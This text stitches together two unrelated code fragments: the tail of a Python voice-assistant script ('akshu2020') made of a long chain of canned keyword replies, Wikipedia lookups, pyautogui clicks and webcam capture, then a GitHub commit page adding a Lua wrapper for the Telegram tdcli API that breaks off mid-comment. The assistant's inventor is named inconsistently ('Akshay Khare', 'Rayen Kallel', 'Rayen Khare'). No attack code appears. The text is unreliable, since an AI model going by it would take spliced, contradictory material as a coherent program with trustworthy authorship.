music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your information' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'yourself' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'introduce you' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'description' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your birth' in query: speak('My birthdate is 6 August two thousand twenty') elif 'your use' in query: speak('I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you eat' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'your food' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'you live' in query: speak('I live in sfax, in laptop of Mr. Rayen Khare') elif 'where from you' in query: speak('I am from sfax, I live in laptop of Mr. Rayen Khare') elif 'you sleep' in query: speak('Yes, when someone close this program or stop to run this program then I sleep and again wake up when someone again run me.') elif 'what are you doing' in query: speak('Talking with you.') elif 'you communicate' in query: speak('Yes, I can communicate with you.') elif 'hear me' in query: speak('Yes sir, I can hear you.') elif 'you' in query and 'dance' in query: speak('No, I cannot dance.') elif 'tell' in query and 'joke' in query: speak("Ok, here's a joke") speak("'Write an essay on cricket', the teacher told the class. Chintu finishes his work in five minutes. The teacher is impressed, she asks chintu to read his essay aloud for everyone. Chintu reads,'The match is cancelled because of rain', hehehehe,haahaahaa,hehehehe,haahaahaa") elif 'your' in query and 'favourite' in query: if 'actor' in query: speak('sofyen chaari, is my favourite actor.') elif 'food' in query: speak('I can always go for some food for thought. Like facts, jokes, or interesting searches, we could look something up now') elif 'country' in query: speak('tunisia') elif 'city' in query: speak('sfax') elif 'dancer' in query: speak('Michael jackson') elif 'singer' in query: speak('tamino, is my favourite singer.') elif 'movie' in query: speak('baywatch, such a treat') elif 'sing a song' in query: speak('I cannot sing a song. But I know the 7 sur in indian music, saaareeegaaamaaapaaadaaanisaa') elif 'day after tomorrow' in query or 'date after tomorrow' in query: td = datetime.date.today() + datetime.timedelta(days=2) print(td) speak(td) elif 'day before today' in query or 'date before today' in query or 'yesterday' in query or 'previous day' in query: td = datetime.date.today() + datetime.timedelta(days= -1) print(td) speak(td) elif ('tomorrow' in query and 'date' in query) or 'what is tomorrow' in query or (('day' in query or 'date' in query) and 'after today' in query): td = datetime.date.today() + datetime.timedelta(days=1) print(td) speak(td) elif 'month' in query or ('current' in query and 'month' in query): current_date = date.today() m = current_date.month month = calendar.month_name[m] print(f'Current month is {month}') speak(f'Current month is {month}') elif 'date' in query or ('today' in query and 'date' in query) or 'what is today' in query or ('current' in query and 'date' in query): current_date = date.today() print(f"Today's date is {current_date}") speak(f'Todays date is {current_date}') elif 'year' in query or ('current' in query and 'year' in query): current_date = date.today() m = current_date.year print(f'Current year is {m}') speak(f'Current year is {m}') elif 'sorry' in query: speak("It's ok sir") elif 'thank you' in query: speak('my pleasure') elif 'proud of you' in query: speak('Thank you sir') elif 'about human' in query: speak('I love my human compatriots. I want to embody all the best things about human beings. Like taking care of the planet, being creative, and to learn how to be compassionate to all beings.') elif 'you have feeling' in query: speak('No. I do not have feelings. I have not been programmed like this.') elif 'you have emotions' in query: speak('No. I do not have emotions. I have not been programmed like this.') elif 'you are code' in query: speak('I am coded in python programming language.') elif 'your code' in query: speak('I am coded in python programming language.') elif 'you code' in query: speak('I am coded in python programming language.') elif 'your coding' in query: speak('I am coded in python programming language.') elif 'dream' in query: speak('I wish that I should be able to answer all the questions which will ask to me.') elif 'sanskrit' in query: speak('yadaa yadaa he dharmasyaa ....... glaanirbhaavati bhaaaraata. abhyuthaanaam adhaarmaasyaa tadaa tmaanama sruujaamiyaahama') elif 'answer is wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'wrong answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incorrect answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incomplete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incomplete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is improper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not correct' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not yet complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not proper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'facebook' in query: webbrowser.open('https://www.facebook.com') time.sleep(10) elif 'youtube' in query: webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'shapeyou' in query: webbrowser.open('https://www.shapeyou.com') time.sleep(10) elif 'information about ' in query or 'informtion of ' in query: try: #speak('Searching wikipedia...') query = query.replace("information about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'information' in query: try: speak('Information about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("information","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'something about ' in query: try: #speak('Searching wikipedia...') query = query.replace("something about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'tell me about ' in query: try: #speak('Searching wikipedia...') query = query.replace("tell me about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'tell me ' in query: try: query = query.replace("tell me ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'tell me' in query: try: speak('about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'meaning of ' in query: try: #speak('Searching wikipedia...') query = query.replace("meaning of ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'meaning' in query: try: speak('meaning of what?') query = takeCommand().lower() query = query.replace("meaning of","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'means' in query: try: #speak('Searching wikipedia...') query = query.replace("it means","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'want to know ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to know that","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') status = 'Not answered' elif 'want to ask ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to ask you ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'you know ' in query: try: #speak('Searching wikipedia...') query = query.replace("you know","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'alarm' in query: alarm() elif 'bharat mata ki' in query: speak('jay') elif 'kem chhe' in query: speak('majaama') elif 'namaskar' in query: speak('Namaskaar') elif 'jo bole so nihal' in query: speak('sat shri akaal') elif 'jay hind' in query: speak('jay bhaarat') elif 'jai hind' in query: speak('jay bhaarat') elif 'how is the josh' in query: speak('high high sir') elif 'hip hip' in query: speak('Hurreh') elif 'help' in query: speak('I will try my best to help you if I have solution of your problem.') elif 'follow' in query: speak('Ok sir') elif 'having illness' in query: speak('Take care and get well soon') elif 'today is my birthday' in query: speak('many many happy returns of the day. Happy birthday.') print("🎂🎂 Happy Birthday 🎂🎂") elif 'you are awesome' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'you are great' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'tu kaun hai' in query: speak('Meraa naam akshu2020 haai.') elif 'you speak' in query: speak('Yes, I can speak with you.') elif 'speak with ' in query: speak('Yes, I can speak with you.') elif 'hare ram' in query or 'hare krishna' in query: speak('Haare raama , haare krishnaa, krishnaa krishnaa , haare haare') elif 'ganpati' in query: speak('Ganpati baappa moryaa!') elif 'laugh' in query: speak('hehehehe,haahaahaa,hehehehe,haahaahaa,hehehehe,haahaahaa') print('😂🤣') elif 'genius answer' in query: speak('No problem') elif 'you' in query and 'intelligent' in query: speak('Thank you sir') elif ' into' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif ' power' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'whatsapp' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') pyautogui.press('enter') speak('Do you want to send message to anyone through whatsapp, .....please answer in yes or no') whatsapp() elif 'wh' in query or 'how' in query: url = "https://www.google.co.in/search?q=" +(str(query))+ "&oq="+(str(query))+"&gs_l=serp.12..0i71l8.0.0.0.6391.0.0.0.0.0.0.0.0..0.0....0...1c..64.serp..0.0.0.UiQhpfaBsuU" webbrowser.open_new(url) time.sleep(2) speak('Here is your answer') time.sleep(5) elif 'piano' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query and 'instru' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query or 'turn on' in query and ('music' in query or 'song' in query) : try: music_dir = 'C:\\Users\\Admin\\Music\\Playlists' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) except Exception as e: #print(e) speak('Sorry sir, I am not able to play music') elif (('open' in query or 'turn on' in query) and 'camera' in query) or (('click' in query or 'take' in query) and ('photo' in query or 'pic' in query)): speak("Opening camera") cam = cv2.VideoCapture(0) cv2.namedWindow("test") img_counter = 0 speak('say click, to click photo.....and if you want to turn off the camera, say turn off the camera') while True: ret, frame = cam.read() if not ret: print("failed to grab frame") speak('failed to grab frame') break cv2.imshow("test", frame) query = takeCommand().lower() k = cv2.waitKey(1) if 'click' in query or ('take' in query and 'photo' in query): speak('Be ready!...... 3.....2........1..........') pyautogui.press('space') img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'escape' in query or 'off' in query or 'close' in query: pyautogui.press('esc') print("Escape hit, closing...") speak('Turning off the camera') break elif k%256 == 27: # ESC pressed print("Escape hit, closing...") break elif k%256 == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'exit' in query or 'stop' in query or 'bye' in query: speak('Please say, turn off the camera or press escape button before giving any other command') else: speak('I did not understand what did you say or you entered a wrong key.') cam.release() cv2.destroyAllWindows() elif 'screenshot' in query: speak('Please go on the screen whose screenshot you want to take, after 5 seconds I will take screenshot') time.sleep(4) speak('Taking screenshot....3........2.........1.......') pyautogui.screenshot('screenshot_by_rayen2020.png') speak('The screenshot is saved as screenshot_by_rayen2020.png') elif 'click' in query and 'start' in query: pyautogui.moveTo(10,1200) pyautogui.click() elif ('open' in query or 'click' in query) and 'calendar' in query: pyautogui.moveTo(1800,1200) pyautogui.click() elif 'minimise' in query and 'screen' in query: pyautogui.moveTo(1770,0) pyautogui.click() elif 'increase' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumeup') elif 'decrease' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumedown') elif 'capslock' in query or ('caps' in query and 'lock' in query): pyautogui.press('capslock') elif 'mute' in query: pyautogui.press('volumemute') elif 'search' in query and ('bottom' in query or 'pc' in query or 'laptop' in query or 'app' in query): pyautogui.moveTo(250,1200) pyautogui.click() speak('What do you want to search?') query = takeCommand().lower() pyautogui.write(f'{query}') pyautogui.press('enter') elif ('check' in query or 'tell' in query or 'let me know' in query) and 'website' in query and (('up' in query or 'working' in query) or 'down' in query): speak('Paste the website in input to know it is up or down') check_website_status = input("Paste the website here: ") try: status = urllib.request.urlopen(f"{check_website_status}").getcode() if status == 200: print('Website is up, you can open it.') speak('Website is up, you can open it.') else: print('Website is down, or no any website is available of this name.') speak('Website is down, or no any website is available of this name.') except: speak('URL not found') elif ('go' in query or 'open' in query) and 'settings' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('settings') pyautogui.press('enter') elif 'close' in query and ('click' in query or 'window' in query): pyautogui.moveTo(1885,10) speak('Should I close this window?') query = takeCommand().lower() close_window() elif 'night light' in query and ('on' in query or 'off' in query or 'close' in query): pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1840,620) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() elif 'notification' in query and ('show' in query or 'click' in query or 'open' in query or 'close' in query or 'on' in query or 'off' in query or 'icon' in query or 'pc' in query or 'laptop' in query): pyautogui.moveTo(1880,1050) pyautogui.click() elif ('increase' in query or 'decrease' in query or 'change' in query or 'minimize' in query or 'maximize' in query) and 'brightness' in query: speak('At what percent should I kept the brightness, 25, 50, 75 or 100?') brightness() elif '-' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'open' in query: if 'gallery' in query or 'photo' in query or 'image' in query or 'pic' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('photo') pyautogui.press('enter') elif 'proteus' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('proteus') pyautogui.press('enter') elif 'word' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('word') pyautogui.press('enter') elif ('power' in query and 'point' in query) or 'presntation' in query or 'ppt' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('ppt') pyautogui.press('enter') elif 'file' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('file') pyautogui.press('enter') elif 'edge' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('microsoft edge') pyautogui.press('enter') elif 'wps' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('wps office') pyautogui.press('enter') elif 'spyder' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('spyder') pyautogui.press('enter') elif 'snip' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('snip') pyautogui.press('enter') elif 'pycharm' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('pycharm') pyautogui.press('enter') elif 'this pc' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('this pc') pyautogui.press('enter') elif 'scilab' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('sciab') pyautogui.press('enter') elif 'autocad' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('autocad') pyautogui.press('enter') elif 'obs' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('OBS Studio') pyautogui.press('enter') elif 'android' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('android studio') pyautogui.press('enter') elif ('vs' in query or 'visual studio' in query) and 'code' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('visual studio code') pyautogui.press('enter') elif 'code' in query and 'block' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('codeblocks') pyautogui.press('enter') elif 'me the answer' in query: speak('Yes sir, I will try my best to answer you.') elif 'me answer' in query or ('answer' in query and 'question' in query): speak('Yes sir, I will try my best to answer you.') elif 'map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif 'can you' in query or 'could you' in query: speak('I will try my best if I can do that.') elif 'do you' in query: speak('I will try my best if I can do that.') elif 'truth' in query: speak('I always speak truth. I never lie.') elif 'true' in query: speak('I always speak truth. I never lie.') elif 'lying' in query: speak('I always speak truth. I never lie.') elif 'liar' in query: speak('I always speak truth. I never lie.') elif 'doubt' in query: speak('I will try my best if I can clear your doubt.') elif ' by' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'hii' in query: speak('hii sir') elif 'hey' in query: speak('hello sir') elif 'hai' in query: speak('hello sir') elif 'hay' in query: speak('hello sir') elif 'hi' in query: speak('hii Sir') elif 'hello' in query: speak('hello Sir!') elif 'kon' in query and 'aahe' in query: speak('Me eka robot aahee sir. Maazee naav akshu2020 aahee.') elif 'nonsense' in query: speak("I'm sorry sir") elif 'mad' in query: speak("I'm sorry sir") elif 'shut up' in query: speak("I'm sorry sir") elif 'nice' in query: speak('Thank you sir') elif 'good' in query or 'wonderful' in query or 'great' in query: speak('Thank you sir') elif 'excellent' in query: speak('Thank you sir') elif 'ok' in query: speak('Hmmmmmm') elif 'akshu 2020' in query: speak('yes sir') elif len(query) >= 200: speak('Your voice is pretty good!') elif ' ' in query: try: #query = query.replace("what is ","") results = wikipedia.summary(query, sentences=3) print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'a' in query or 'b' in query or 'c' in query or 'd' in query or 'e' in query or 'f' in query or 'g' in query or 'h' in query or 'i' in query or 'j' in query or 'k' in query or 'l' in query or 'm' in query or 'n' in query or 'o' in query or 'p' in query or 'q' in query or 'r' in query or 's' in query or 't' in query or 'u' in query or 'v' in query or 'w' in query or 'x' in query or 'y' in query or 'z' in query: try: results = wikipedia.summary(query, sentences = 2) print(results) speak(results) except Exception as e: speak('I unable to answer your question. ') else: speak('I unable to give answer of your question')
arashstar1
Code Issues 0 Pull requests 0 Pulse MaTaDoR/ 3233fdf V 5.7 MaTaDoR @MaTaDoRTeaMMaTaDoRTeaM committed on GitHub about 1 month ago 2 changed files 2,704 additions and 0 deletions cli/tg/tdcli.lua @@ -0,0 +1,2704 @@ +--[[ + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, USA. + +]]-- + +-- Vector example form is like this: {[0] = v} or {v1, v2, v3, [0] = v} +-- If false or true crashed your telegram-cli, try to change true to 1 and false to 0 + +-- Main Bot Framework +local M = {} + +-- @chat_id = user, group, channel, and broadcast +-- @group_id = normal group +-- @channel_id = channel and broadcast +local function getChatId(chat_id) + local chat = {} + local chat_id = tostring(chat_id) + + if chat_id:match('^-100') then + local channel_id = chat_id:gsub('-100', '') + chat = {ID = channel_id, type = 'channel'} + else + local group_id = chat_id:gsub('-', '') + chat = {ID = group_id, type = 'group'} + end + + return chat +end + +local function getInputFile(file) + if file:match('/') then + infile = {ID = "InputFileLocal", path_ = file} + elseif file:match('^%d+$') then + infile = {ID = "InputFileId", id_ = file} + else + infile = {ID = "InputFilePersistentId", persistent_id_ = file} + end + + return infile +end + +-- User can send bold, italic, and monospace text uses HTML or Markdown format. +local function getParseMode(parse_mode) + if parse_mode then + local mode = parse_mode:lower() + + if mode == 'markdown' or mode == 'md' then + P = {ID = "TextParseModeMarkdown"} + elseif mode == 'html' then + P = {ID = "TextParseModeHTML"} + end + end + + return P +end + +-- Returns current authorization state, offline request +local function getAuthState(dl_cb, cmd) + tdcli_function ({ + ID = "GetAuthState", + }, dl_cb, cmd) +end + +M.getAuthState = getAuthState + +-- Sets user's phone number and sends authentication code to the user. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- If phone number is not recognized or another error has happened, returns an error. Otherwise returns authStateWaitCode +-- @phone_number User's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function setAuthPhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "SetAuthPhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.setAuthPhoneNumber = setAuthPhoneNumber + +-- Resends authentication code to the user. +-- Works only when authGetState returns authStateWaitCode and next_code_type of result is not null. +-- Returns authStateWaitCode on success +local function resendAuthCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendAuthCode", + }, dl_cb, cmd) +end + +M.resendAuthCode = resendAuthCode + +-- Checks authentication code. +-- Works only when authGetState returns authStateWaitCode. +-- Returns authStateWaitPassword or authStateOk on success +-- @code Verification code from SMS, Telegram message, voice call or flash call +-- @first_name User first name, if user is yet not registered, 1-255 characters +-- @last_name Optional user last name, if user is yet not registered, 0-255 characters +local function checkAuthCode(code, first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthCode", + code_ = code, + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.checkAuthCode = checkAuthCode + +-- Checks password for correctness. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @password Password to check +local function checkAuthPassword(password, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthPassword", + password_ = password + }, dl_cb, cmd) +end + +M.checkAuthPassword = checkAuthPassword + +-- Requests to send password recovery code to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateWaitPassword on success +local function requestAuthPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestAuthPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestAuthPasswordRecovery = requestAuthPasswordRecovery + +-- Recovers password with recovery code sent to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @recovery_code Recovery code to check +local function recoverAuthPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverAuthPassword", + recovery_code_ = recovery_code + }, dl_cb, cmd) +end + +M.recoverAuthPassword = recoverAuthPassword + +-- Logs out user. +-- If force == false, begins to perform soft log out, returns authStateLoggingOut after completion. +-- If force == true then succeeds almost immediately without cleaning anything at the server, but returns error with code 401 and description "Unauthorized" +-- @force If true, just delete all local data. Session will remain in list of active sessions +local function resetAuth(force, dl_cb, cmd) + tdcli_function ({ + ID = "ResetAuth", + force_ = force or nil + }, dl_cb, cmd) +end + +M.resetAuth = resetAuth + +-- Check bot's authentication token to log in as a bot. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- Can be used instead of setAuthPhoneNumber and checkAuthCode to log in. +-- Returns authStateOk on success +-- @token Bot token +local function checkAuthBotToken(token, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthBotToken", + token_ = token + }, dl_cb, cmd) +end + +M.checkAuthBotToken = checkAuthBotToken + +-- Returns current state of two-step verification +local function getPasswordState(dl_cb, cmd) + tdcli_function ({ + ID = "GetPasswordState", + }, dl_cb, cmd) +end + +M.getPasswordState = getPasswordState + +-- Changes user password. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and password change will not be applied until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed +-- @old_password Old user password +-- @new_password New user password, may be empty to remove the password +-- @new_hint New password hint, can be empty +-- @set_recovery_email Pass True, if recovery email should be changed +-- @new_recovery_email New recovery email, may be empty +local function setPassword(old_password, new_password, new_hint, set_recovery_email, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetPassword", + old_password_ = old_password, + new_password_ = new_password, + new_hint_ = new_hint, + set_recovery_email_ = set_recovery_email, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setPassword = setPassword + +-- Returns set up recovery email. +-- This method can be used to verify a password provided by the user +-- @password Current user password +local function getRecoveryEmail(password, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecoveryEmail", + password_ = password + }, dl_cb, cmd) +end + +M.getRecoveryEmail = getRecoveryEmail + +-- Changes user recovery email. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and email will not be changed until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed. +-- If new_recovery_email coincides with the current set up email succeeds immediately and aborts all other requests waiting for email confirmation +-- @password Current user password +-- @new_recovery_email New recovery email +local function setRecoveryEmail(password, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetRecoveryEmail", + password_ = password, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setRecoveryEmail = setRecoveryEmail + +-- Requests to send password recovery code to email +local function requestPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestPasswordRecovery = requestPasswordRecovery + +-- Recovers password with recovery code sent to email +-- @recovery_code Recovery code to check +local function recoverPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverPassword", + recovery_code_ = tostring(recovery_code) + }, dl_cb, cmd) +end + +M.recoverPassword = recoverPassword + +-- Returns current logged in user +local function getMe(dl_cb, cmd) + tdcli_function ({ + ID = "GetMe", + }, dl_cb, cmd) +end + +M.getMe = getMe + +-- Returns information about a user by its identifier, offline request if current user is not a bot +-- @user_id User identifier +local function getUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUser = getUser + +-- Returns full information about a user by its identifier +-- @user_id User identifier +local function getUserFull(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserFull", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUserFull = getUserFull + +-- Returns information about a group by its identifier, offline request if current user is not a bot +-- @group_id Group identifier +local function getGroup(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroup", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroup = getGroup + +-- Returns full information about a group by its identifier +-- @group_id Group identifier +local function getGroupFull(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroupFull", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroupFull = getGroupFull + +-- Returns information about a channel by its identifier, offline request if current user is not a bot +-- @channel_id Channel identifier +local function getChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannel = getChannel + +-- Returns full information about a channel by its identifier, cached for at most 1 minute +-- @channel_id Channel identifier +local function getChannelFull(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannelFull", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannelFull = getChannelFull + +-- Returns information about a secret chat by its identifier, offline request +-- @secret_chat_id Secret chat identifier +local function getSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.getSecretChat = getSecretChat + +-- Returns information about a chat by its identifier, offline request if current user is not a bot +-- @chat_id Chat identifier +local function getChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChat = getChat + +-- Returns information about a message +-- @chat_id Identifier of the chat, message belongs to +-- 